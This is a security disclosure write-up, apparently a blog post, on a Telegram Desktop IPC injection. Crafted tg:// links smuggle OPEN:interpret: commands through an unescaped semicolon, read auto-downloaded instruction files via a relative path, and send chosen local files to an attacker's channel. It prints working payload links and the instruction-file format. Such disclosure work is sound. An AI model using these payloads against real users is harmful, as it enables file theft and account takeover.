Telegram Desktop: one-click account takeover via IPC injection
Pangram verdict · v3.3
We believe that this text is a mix of AI and human-written content.
AI likelihood · overall
AIArticle text · 1,512 words · 8 segments analyzed
IntroductionSomeone adds you to a Telegram group. A link shows up in the chat. You click it, and your Telegram account is no longer only yours.How?Telegram Desktop hands clicked links to its own already-running instance over a local socket, as text, and never escapes the character it uses to separate commands. So a crafted link does not arrive as one instruction: it arrives as several.The chain I found has two defects. The first is that injection. The second is what the injected command reaches: an internal URI scheme, interpret:, that reads a file named in an instruction file and sends it to a chat, without checking who asked for it and without a confirmation. Together they turn a clicked link into arbitrary file read.
In this post I walk through the chain and then use it to steal the files that are the victim’s login.AffectedTelegram Desktop through 7.2.8, confirmed on Windows (6.9.3)ImpactRemote arbitrary local file read, exfiltrated to an attacker-controlled chat; account takeoverCVECVE-2026-107181Fixed in7.2.9, commit db3405699fSeverity8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:NOne link, two processesOperating systems let programs register a URI scheme, so they know which application to launch when they meet a link of that kind.
Telegram Desktop registers tg. From then on the system knows a tg://... link belongs to Telegram, and launches it with the URL as a command-line argument.If Telegram is not running, the process starts, takes the string as a parameter, turns it into a URL object and handles it internally: one process, and nothing to communicate.But what if Telegram is already running? The operating system neither knows nor checks: it launches a new process anyway, identical to the first. Telegram itself has to work out that it is the redundant one, and the way it works that out is by trying to connect to a local socket.The already-running instance is the server: it has been listening on that socket since it started. The new process is the client. If it manages to connect, an instance is already alive, so it hands over the link and exits.A socket does not carry objects, it carries bytes. The URL object the new process holds in memory cannot cross that channel, so it has to be flattened into a line of text.That operation has a name: serialization. Its inverse, rebuilding the object from the text, is deserialization. Both are unavoidable whenever structured data has to cross a boundary, and both are the exact point where the boundaries inside the data stop being held by the structure and become characters in the text.Telegram does it with a format of its own, a simple one. Each instruction is a keyword, then its argument, then a semicolon that closes it. A link to open becomes:1 OPEN:tg://x?a=1; tg://x?a=1 matches no handler inside Telegram, so on its own that link does nothing.
It is only a carrier.That line is built here, one per URL to open:1 2 3 4 // sandbox.cpp:295-297 for (const auto &url : cRefStartUrls()) { commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';'; } On the other side the running instance deserializes: it reads the received bytes, cuts them at every semicolon, and treats each piece as an instruction in its own right. For each piece starting with OPEN: it takes what follows and rebuilds it as a URL, exactly as if it had just arrived on the command line.1 2 3 4 5 6 // sandbox.cpp:453-463 (abbreviated) for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) { auto cmd = base::StringViewMid(cmds, from, to - from); ... } else if (cmd.startsWith(u"OPEN:"_q)) { startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192)); The unescaped separatorSo what happens if one of the transmitted values contains a semicolon of its own, the very character the format uses as a separator?
Take the link from before and add something to it:1 tg://x?a=1;CMD:quit The new process treats it as a single URL, because to it that semicolon is just a character inside the query. It flattens it and writes it to the socket:1 OPEN:tg://x?a=1;CMD:quit; The running instance cuts at every semicolon and gets two instructions instead of one:1 2 OPEN:tg://x?a=1 CMD:quit That is the injection, and it is the first of the two defects.The interpret: URI schemeThe example above injected CMD:, but don’t be misled by the name: it accepts only show and quit, so the worst it can do is close the app.Four commands are accepted in total, and three of them are harmless. The fourth is OPEN:, and there is the detail: it accepts any URL, with no filter on the scheme.Digging through the code turns up another URI scheme inside Telegram, called interpret:.The operating system would not know what to do with a link starting with interpret:, because it is registered nowhere as a protocol handler: it exists only inside Telegram’s own code, which picks the scheme up off the start-URL list like any other.1 2 3 4 // application.cpp:1162-1164 if (url.scheme() == u"interpret"_q) { interprets.append(url.path()); return false; Through OPEN:, then, it is reachable:1 tg://x?a=1;OPEN:interpret:instructions.txt So what is interpret: for?It was the tool Telegram used to publish its own releases. When a new version shipped, the build archive had to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small text file naming the channel, the file to send and the text to write, then launched Telegram with the path to that file.1 2 3 # Telegram/build/updates.py:206 subprocess.call(...
'Telegram -sendpath interpret://' + scriptPath + '/.../command.txt', shell=True) The instruction file looks like this:1 2 3 4 5 6 7 from: 1234567890 channel: 1987654321 file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe caption: TDesktop at 12.06.26: - Fixed a crash in the media viewer.
- Added a new sticker pack. The value of from: is compared against the id of the currently logged-in account: it keeps an operator from publishing a release from the wrong one. The check only runs if the line is present, so leaving it out skips it. The destination is set only by channel:, and has to be a channel or a supergroup.A function called InterpretSendPath does the work.So where is the bug? interpret: performs a privileged action, reading any file off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.The function performs no authorization check.1 2 3 4 5 6 7 8 9 // support_helper.cpp:673-680 QString InterpretSendPath( not_null<Window::SessionController*> window, const QString &path) { QFile f(path); if (!f.open(QIODevice::ReadOnly)) { return "App Error: Could not open interpret file: " + path; } const auto content = QString::fromUtf8(f.readAll()); When that comes from the command line, which is how the release script invokes it, it is not a problem: an attacker would need a foothold on the machine already, and with one they can read the files themselves. But once the same action is reachable through the socket, and therefore through the injection, a dangerous function becomes available from a link the victim clicks.That is a missing authorization, and it is the second of the two defects.Getting the instruction file onto diskAn attacker who could place an instruction file on the victim’s disk, pointing file: at a path worth stealing and channel: at a channel of their own, could exfiltrate any file from that machine with nothing more than a clicked link.So how does an attacker place a text file at a predictable path on someone else’s disk? The obvious way is to send it as a chat attachment.As it happens, Telegram Desktop in its default configuration downloads files received in groups up to 8 MiB automatically, while in broadcast channels automatic download is off. The file lands in a standard folder, under the same name the sender chose, without the victim clicking on it, and in a predictable place (a name collision would make Telegram save instructions1 (2).txt instead). Some formats, such as stickers, GIFs and voice messages, go to an internal cache instead and would not be reachable as a path on disk.Telegram builds that path itself (file_utilities.cpp:172-181). On Windows:1 C:\Users\<user>\Downloads\Telegram Desktop\<file name> By sending the file into the group, the attacker knows exactly where it will be saved. The path still seems to hold one unknown, the Windows user name, but interpret: also accepts relative paths, and a relative path is resolved from Telegram’s own working directory, which is its data folder (logs.cpp:381). On Windows that is %APPDATA%\Telegram Desktop, three levels below the user’s home directory, and Downloads sits directly in that home directory. So a path like this one:1 interpret:../../../Downloads/Telegram%20Desktop/instructions.txt gives the attacker a deterministic path without ever needing the user name.From file read to account takeoverInterpretSendPath sends exactly one file per invocation: if an instruction file holds several file: lines, only the last one counts. Two things lift that limit. Nothing stops an attacker from posting as many instruction files as they want, and the injection does not stop at the first command: every semicolon opens another.
Three targets, then, are three instruction files and three stacked commands in one link.1 2 3 4 tg://x?a=1 ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt ;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt The primitive stays the same throughout: arbitrary file read.